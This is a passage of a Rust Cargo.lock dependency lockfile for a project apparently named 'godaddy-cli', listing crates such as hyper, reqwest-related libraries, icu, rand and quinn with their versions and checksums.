"registry+https://github.com/rust-lang/crates.io-index" +checksum = "0de51e6874e94e7bf76d726fc5d13ba782deca734ff60d5bb2fb2607c7406555" +dependencies = [ + "cfg-if", + "libc", + "r-efi 6.0.0", + "wasip2", + "wasip3", +] + +[[package]] +name = "gloo-timers" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbb143cf96099802033e0d4f4963b19fd2e0b728bcf076cd9cf7f6634f092994" +dependencies = [ + "futures-channel", + "futures-core", + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "godaddy-cli" +version = "0.1.0" +dependencies = [ + "async-trait", + "chrono", + "clap", + "cli-engine", + "fancy-regex", + "httpmock", + "regex", + "reqwest", + "serde", + "serde_json", + "sha2", + "thiserror 2.0.18", + "tokio", + "toml", + "tracing", + "tracing-subscriber", + "uuid", +] + +[[package]] +name = "graphql-parser" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a818c0d883d7c0801df27be910917750932be279c7bc82dc541b8769425f409" +dependencies = [ + "combine", + "thiserror 1.0.69", +] + +[[package]] +name = "hashbrown" +version = "0.15.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9229cfe53dfd69f0609a49f65461bd93001ea1ef889cd5529dd176593f5338a1" +dependencies = [ + "foldhash", +] + +[[package]] +name = "hashbrown" +version = "0.17.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed5909b6e89a2db4456e54cd5f673791d7eca6732202bbf2a9cc504fe2f9b84a" + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "hermit-abi" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc0fef456e4baa96da950455cd02c081ca953b141298e41db3fc7e36b1da849c" + +[[package]] +name = "hex" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" + +[[package]] +name = "hkdf" +version = "0.12.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7" +dependencies = [ + "hmac", +] + +[[package]] +name = "hmac" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" +dependencies = [ + "digest", +] + +[[package]] +name = "http" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "601cbb57e577e2f5ef5be8e7b83f0f63994f25aa94d673e54a92d5c516d101f1" +dependencies = [ + "bytes", + "fnv", + "itoa", +] + +[[package]] +name = "http" +version = "1.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8be7462df143984c4598a256ef469b251d7d7f9e271135073e78fc535414f3d0" +dependencies = [ + "bytes", + "itoa", +] + +[[package]] +name = "http-body" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ceab25649e9960c0311ea418d17bee82c0dcec1bd053b5f9a66e265a693bed2" +dependencies = [ + "bytes", + "http 0.2.12", + "pin-project-lite", +] + +[[package]] +name = "http-body" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1efedce1fb8e6913f23e0c92de8e62cd5b772a67e7b3946df930a62566c93184" +dependencies = [ + "bytes", + "http 1.4.1", +] + +[[package]] +name = "http-body-util" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b021d93e26becf5dc7e1b75b1bed1fd93124b374ceb73f43d4d4eafec896a64a" +dependencies = [ + "bytes", + "futures-core", + "http 1.4.1", + "http-body 1.0.1", + "pin-project-lite", +] + +[[package]] +name = "httparse" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87" + +[[package]] +name = "httpdate" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" + +[[package]] +name = "httpmock" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08ec9586ee0910472dec1a1f0f8acf52f0fdde93aea74d70d4a3107b4be0fd5b" +dependencies = [ + "assert-json-diff", + "async-object-pool", + "async-std", + "async-trait", + "base64 0.21.7", + "basic-cookies", + "crossbeam-utils", + "form_urlencoded", + "futures-util", + "hyper 0.14.32", + "lazy_static", + "levenshtein", + "log", + "regex", + "serde", + "serde_json", + "serde_regex", + "similar", + "tokio", + "url", +] + +[[package]] +name = "hyper" +version = "0.14.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41dfc780fdec9373c01bae43289ea34c972e40ee3c9f6b3c8801a35f35586ce7" +dependencies = [ + "bytes", + "futures-channel", + "futures-core", + "futures-util", + "http 0.2.12", + "http-body 0.4.6", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "socket2 0.5.10", + "tokio", + "tower-service", + "tracing", + "want", +] + +[[package]] +name = "hyper" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6299f016b246a94207e63da54dbe807655bf9e00044f73ded42c3ac5305fbcca" +dependencies = [ + "atomic-waker", + "bytes", + "futures-channel", + "futures-core", + "http 1.4.1", + "http-body 1.0.1", + "httparse", + "itoa", + "pin-project-lite", + "smallvec", + "tokio", + "want", +] + +[[package]] +name = "hyper-rustls" +version = "0.27.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33ca68d021ef39cf6463ab54c1d0f5daf03377b70561305bb89a8f83aab66e0f" +dependencies = [ + "http 1.4.1", + "hyper 1.9.0", + "hyper-util", + "rustls", + "tokio", + "tokio-rustls", + "tower-service", + "webpki-roots", +] + +[[package]] +name = "hyper-util" +version = "0.1.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96547c2556ec9d12fb1578c4eaf448b04993e7fb79cbaad930a656880a6bdfa0" +dependencies = [ + "base64 0.22.1", + "bytes", + "futures-channel", + "futures-util", + "http 1.4.1", + "http-body 1.0.1", + "hyper 1.9.0", + "ipnet", + "libc", + "percent-encoding", + "pin-project-lite", + "socket2 0.6.3", + "tokio", + "tower-service", + "tracing", +] + +[[package]] +name = "iana-time-zone" +version = "0.1.65" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e31bc9ad994ba00e440a8aa5c9ef0ec67d5cb5e5cb0cc7f8b744a35b389cc470" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "log", + "wasm-bindgen", + "windows-core", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + +[[package]] +name = "icu_collections" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2984d1cd16c883d7935b9e07e44071dca8d917fd52ecc02c04d5fa0b5a3f191c" +dependencies = [ + "displaydoc", + "potential_utf", + "utf8_iter", + "yoke", + "zerofrom", + "zerovec", +] + +[[package]] +name = "icu_locale_core" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92219b62b3e2b4d88ac5119f8904c10f8f61bf7e95b640d25ba3075e6cac2c29" +dependencies = [ + "displaydoc", + "litemap", + "tinystr", + "writeable", + "zerovec", +] + +[[package]] +name = "icu_normalizer" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c56e5ee99d6e3d33bd91c5d85458b6005a22140021cc324cea84dd0e72cff3b4" +dependencies = [ + "icu_collections", + "icu_normalizer_data", + "icu_properties", + "icu_provider", + "smallvec", + "zerovec", +] + +[[package]] +name = "icu_normalizer_data" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da3be0ae77ea334f4da67c12f149704f19f81d1adf7c51cf482943e84a2bad38" + +[[package]] +name = "icu_properties" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bee3b67d0ea5c2cca5003417989af8996f8604e34fb9ddf96208a033901e70de" +dependencies = [ + "icu_collections", + "icu_locale_core", + "icu_properties_data", + "icu_provider", + "zerotrie", + "zerovec", +] + +[[package]] +name = "icu_properties_data" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e2bbb201e0c04f7b4b3e14382af113e17ba4f63e2c9d2ee626b720cbce54a14" + +[[package]] +name = "icu_provider" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "139c4cf31c8b5f33d7e199446eff9c1e02decfc2f0eec2c8d71f65befa45b421" +dependencies = [ + "displaydoc", + "icu_locale_core", + "writeable", + "yoke", + "zerofrom", + "zerotrie", + "zerovec", +] + +[[package]] +name = "id-arena" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d3067d79b975e8844ca9eb072e16b31c3c1c36928edf9c6789548c524d0d954" + +[[package]] +name = "idna" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b0875f23caa03898994f6ddc501886a45c7d3d62d04d2d90788d47be1b1e4de" +dependencies = [ + "idna_adapter", + "smallvec", + "utf8_iter", +] + +[[package]] +name = "idna_adapter" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb68373c0d6620ef8105e855e7745e18b0d00d3bdb07fb532e434244cdb9a714" +dependencies = [ + "icu_normalizer", + "icu_properties", +] + +[[package]] +name = "indexmap" +version = "2.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d466e9454f08e4a911e14806c24e16fba1b4c121d1ea474396f396069cf949d9" +dependencies = [ + "equivalent", + "hashbrown 0.17.1", + "serde", + "serde_core", +] + +[[package]] +name = "inout" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01" +dependencies = [ + "block-padding", + "generic-array", +] + +[[package]] +name = "ipnet" +version = "2.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d98f6fed1fde3f8c21bc40a1abb88dd75e67924f9cffc3ef95607bad8017f8e2" + +[[package]] +name = "is-docker" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "928bae27f42bc99b60d9ac7334e3a21d10ad8f1835a4e12ec3ec0464765ed1b3" +dependencies = [ + "once_cell", +] + +[[package]] +name = "is-wsl" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "173609498df190136aa7dea1a91db051746d339e18476eed5ca40521f02d7aa5" +dependencies = [ + "is-docker", + "once_cell", +] + +[[package]] +name = "is_terminal_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6cb138bb79a146c1bd460005623e142ef0181e3d0219cb493e02f7d08a35695" + +[[package]] +name = "itertools" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1c173a5686ce8bfa551b3563d0c2170bf24ca44da99c7ca4bfdab5418c3fe57" +dependencies = [ + "either", +] + +[[package]] +name = "itoa" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682" + +[[package]] +name = "jmespath" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "094f2a852a5b9d2fa1a37e9295b3e65ce181b3abf1b16445467b101ca1c4c6e2" +dependencies = [ + "serde", + "serde_json", + "slug", +] + +[[package]] +name = "js-sys" +version = "0.3.99" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "142bc4740e452c1e57ade0cbc129f139c9093e354346f0872ef985f4f5cf5f11" +dependencies = [ + "cfg-if", + "futures-util", + "once_cell", + "wasm-bindgen", +] + +[[package]] +name = "keyring" +version = "3.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eebcc3aff044e5944a8fbaf69eb277d11986064cba30c468730e8b9909fb551c" +dependencies = [ + "byteorder", + "dbus-secret-service", + "log", + "secret-service", + "security-framework 2.11.1", + "security-framework 3.7.0", + "windows-sys 0.60.2", + "zbus", + "zeroize", +] + +[[package]] +name = "kv-log-macro" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0de8b303297635ad57c9f5059fd9cee7a47f8e8daa09df0fcd07dd39fb22977f" +dependencies = [ + "log", +] + +[[package]] +name = "lalrpop" +version = "0.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "55cb077ad656299f160924eb2912aa147d7339ea7d69e1b5517326fdcec3c1ca" +dependencies = [ + "ascii-canvas", + "bit-set 0.5.3", + "ena", + "itertools", + "lalrpop-util", + "petgraph", + "pico-args", + "regex", + "regex-syntax", + "string_cache", + "term", + "tiny-keccak", + "unicode-xid", + "walkdir", +] + +[[package]] +name = "lalrpop-util" +version = "0.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "507460a910eb7b32ee961886ff48539633b788a36b65692b95f225b844c82553" +dependencies = [ + "regex-automata", +] + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" + +[[package]] +name = "leb128fmt" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09edd9e8b54e49e587e4f6295a7d29c3ea94d469cb40ab8ca70b288248a81db2" + +[[package]] +name = "levenshtein" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db13adb97ab515a3691f56e4dbab09283d0b86cb45abd991d8634a9d6f501760" + +[[package]] +name = "libc" +version = "0.2.186" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68ab91017fe16c622486840e4c83c9a37afeff978bd239b5293d61ece587de66" + +[[package]] +name = "libdbus-sys" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "328c4789d42200f1eeec05bd86c9c13c7f091d2ba9a6ea35acdf51f31bc0f043" +dependencies = [ + "pkg-config", +] + +[[package]] +name = "libredox" +version = "0.1.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e02f3bb43d335493c96bf3fd3a321600bf6bd07ed34bc64118e9293bdffea46c" +dependencies = [ + "libc", +] + +[[package]] +name = "linux-raw-sys" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" + +[[package]] +name = "litemap" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92daf443525c4cce67b150400bc2316076100ce0b3686209eb8cf3c31612e6f0" + +[[package]] +name = "lock_api" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "224399e74b87b5f3557511d98dff8b14089b3dadafcab6bb93eab67d3aace965" +dependencies = [ + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "616ec5685824bcc94416c6d4a7a446eea774a31efd7062c8480ba6fd06d7a6e5" +dependencies = [ + "value-bag", +] + +[[package]] +name = "lru-slab" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "112b39cec0b298b6c1999fee3e31427f74f676e4cb9879ed1a121b43661a4154" + +[[package]] +name = "matchers" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d1525a2a28c7f4fa0fc98bb91ae755d1e2d1505079e05539e35bc876b5d65ae9" +dependencies = [ + "regex-automata", +] + +[[package]] +name = "memchr" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79" + +[[package]] +name = "memoffset" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "488016bfae457b036d996092f6cb448677611ce4449e970ceaf42695203f218a" +dependencies = [ + "autocfg", +] + +[[package]] +name = "mime" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" + +[[package]] +name = "mime_guess" +version = "2.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f7c44f8e672c00fe5308fa235f821cb4198414e1c77935c1ab6948d3fd78550e" +dependencies = [ + "mime", + "unicase", +] + +[[package]] +name = "mio" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "50b7e5b27aa02a74bac8c3f23f448f8d87ff11f92d3aac1a6ed369ee08cc56c1" +dependencies = [ + "libc", + "wasi", + "windows-sys 0.61.2", +] + +[[package]] +name = "new_debug_unreachable" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "650eef8c711430f1a879fdd01d4745a7deea475becfb90269c06775983bbf086" + +[[package]] +name = "nix" +version = "0.29.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46" +dependencies = [ + "bitflags", + "cfg-if", + "cfg_aliases", + "libc", + "memoffset", +] + +[[package]] +name = "nu-ansi-term" +version = "0.50.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7957b9740744892f114936ab4a57b3f487491bbeafaf8083688b16841a4240e5" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "num" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "35bd024e8b2ff75562e5f34e7f4905839deb4b22955ef5e73d2fea1b9813cb23" +dependencies = [ + "num-bigint", + "num-complex", + "num-integer", + "num-iter", + "num-rational", + "num-traits", +] + +[[package]] +name = "num-bigint" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a5e44f723f1133c9deac646763579fdb3ac745e418f2a7af9cd0c431da1f20b9" +dependencies = [ + "num-integer", + "num-traits", +] + +[[package]] +name = "num-complex" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73f88a1307638156682bada9d7604135552957b7818057dcef22705b4d509495" +dependencies = [ + "num-traits", +] + +[[package]] +name = "num-integer" +version = "0.1.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f" +dependencies = [ + "num-traits", +] + +[[package]] +name = "num-iter" +version = "0.1.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1429034a0490724d0075ebb2bc9e875d6503c3cf69e235a8941aa757d83ef5bf" +dependencies = [ + "autocfg", + "num-integer", + "num-traits", +] + +[[package]] +name = "num-rational" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f83d14da390562dca69fc84082e73e548e1ad308d24accdedd2720017cb37824" +dependencies = [ + "num-bigint", + "num-integer", + "num-traits", +] + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", +] + +[[package]] +name = "once_cell" +version = "1.21.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" + +[[package]] +name = "once_cell_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe" + +[[package]] +name = "open" +version = "5.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2fbaa89d2ddc8473c78a3adf69eea8cffa28c483b8e02a971ef31527cd0fc92c" +dependencies = [ + "is-wsl", + "libc", + "pathdiff", +] + +[[package]] +name = "ordered-stream" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9aa2b01e1d916879f73a53d01d1d6cee68adbb31d6d9177a8cfce093cced1d50" +dependencies = [ + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "parking" +version = "2.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f38d5652c16fde515bb1ecef450ab0f6a219d619a7274976324d5e377f7dceba" + +[[package]] +name = "parking_lot" +version = "0.12.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93857453250e3077bd71ff98b6a65ea6621a19bb0f559a85248955ac12c45a1a" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2621685985a2ebf1c516881c026032ac7deafcda1a2c9b7850dc81e3dfcb64c1" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-link", +] + +[[package]] +name = "pathdiff" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df94ce210e5bc13cb6651479fa48d14f601d9858cfe0467f43ae157023b938d3" + +[[package]] +name = "percent-encoding" +version = "2.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220" + +[[package]] +name = "petgraph" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4c5cc86750666a3ed20bdaf5ca2a0344f9c67674cae0515bec2da16fbaa47db" +dependencies = [ + "fixedbitset", + "indexmap", +] + +[[package]] +name = "phf_shared" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67eabc2ef2a60eb7faa00097bd1ffdb5bd28e62bf39990626a582201b7a754e5" +dependencies = [ + "siphasher", +] + +[[package]] +name = "pico-args" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5be167a7af36ee22fe3115051bc51f6e6c7054c9348e28deb4f49bd6f705a315" + +[[package]] +name = "pin-project-lite" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "piper" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c835479a4443ded371d6c535cbfd8d31ad92c5d23ae9770a61bc155e4992a3c1" +dependencies = [ + "atomic-waker", + "fastrand", + "futures-io", +] + +[[package]] +name = "pkg-config" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c" + +[[package]] +name = "polling" +version = "3.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d0e4f59085d47d8241c88ead0f274e8a0cb551f3625263c05eb8dd897c34218" +dependencies = [ + "cfg-if", + "concurrent-queue", + "hermit-abi", + "pin-project-lite", + "rustix", + "windows-sys 0.61.2", +] + +[[package]] +name = "potential_utf" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0103b1cef7ec0cf76490e969665504990193874ea05c85ff9bab8b911d0a0564" +dependencies = [ + "zerovec", +] + +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "precomputed-hash" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "925383efa346730478fb4838dbe9137d2a47675ad789c546d150a6e1dd4ab31c" + +[[package]] +name = "prettyplease" +version = "0.2.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "479ca8adacdd7ce8f1fb39ce9ecccbfe93a3f1344b3d0d97f20bc0196208f62b" +dependencies = [ + "proc-macro2", + "syn 2.0.117", +] + +[[package]] +name = "proc-macro-crate" +version = "3.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e67ba7e9b2b56446f1d419b1d807906278ffa1a658a8a5d8a39dcb1f5a78614f" +dependencies = [ + "toml_edit 0.25.8+spec-1.1.0", +] + +[[package]] +name = "proc-macro2" +version = "1.0.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quinn" +version = "0.11.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9e20a958963c291dc322d98411f541009df2ced7b5a4f2bd52337638cfccf20" +dependencies = [ + "bytes", + "cfg_aliases", + "pin-project-lite", + "quinn-proto", + "quinn-udp", + "rustc-hash", + "rustls", + "socket2 0.6.3", + "thiserror 2.0.18", + "tokio", + "tracing", + "web-time", +] + +[[package]] +name = "quinn-proto" +version = "0.11.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "434b42fec591c96ef50e21e886936e66d3cc3f737104fdb9b737c40ffb94c098" +dependencies = [ + "bytes", + "getrandom 0.3.4", + "lru-slab", + "rand 0.9.4", + "ring", + "rustc-hash", + "rustls", + "rustls-pki-types", + "slab", + "thiserror 2.0.18", + "tinyvec", + "tracing", + "web-time", +] + +[[package]] +name = "quinn-udp" +version = "0.5.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "addec6a0dcad8a8d96a771f815f0eaf55f9d1805756410b39f5fa81332574cbd" +dependencies = [ + "cfg_aliases", + "libc", + "once_cell", + "socket2 0.6.3", + "tracing", + "windows-sys 0.60.2", +] + +[[package]] +name = "quote" +version = "1.0.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41f2619966050689382d2b44f664f4bc593e129785a36d6ee376ddf37259b924" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "5.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" + +[[package]] +name = "r-efi" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" + +[[package]] +name = "rand" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ca0ecfa931c29007047d1bc58e623ab12e5590e8c7cc53200d5202b69266d8a" +dependencies = [ + "libc", + "rand_chacha 0.3.1", + "rand_core 0.6.4", +] + +[[package]] +name = "rand" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44c5af06bb1b7d3216d91932aed5265164bf384dc89cd6ba05cf59a35f5f76ea" +dependencies = [ + "rand_chacha 0.9.0", + "rand_core 0.9.5", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core 0.6.4", +] + +[[package]] +name = "rand_chacha" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb" +dependencies = [ + "ppv-lite86", + "rand_core 0.9.5", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom 0.2.17", +] + +[[package]] +name = "rand_core" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76afc826de14238e6e8c374ddcc1fa19e374fd8dd986b0d2af0d02377261d83c" +dependencies = [ + "getrandom 0.3.4", +] + +[[package]] +name = "redox_syscall" +version = "0.5.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d" +dependencies = [ + "bitflags", +] + +[[package]] +name = "redox_users" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba009ff324d1fc1b900bd1fdb31564febe58a8ccc8a6fdbb93b543d33b13ca43" +dependencies = [ + "getrandom 0.2.17", + "libredox", + "thiserror 1.0.69", +] + +[[package]] +name = "ref-cast" +version = "1.0.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f354300ae66f76f1c85c5f84693f0ce81d747e2c3f21a45fef496d89c960bf7d" +dependencies = [ + "ref-cast-impl", +] + +[[package]] +name = "ref-cast-impl" +version = "1.0.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7186006dcb21920990093f30e3dea63b7d6e977bf1256be20c3563a5db070da" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "regex" +version = "1.12.3" 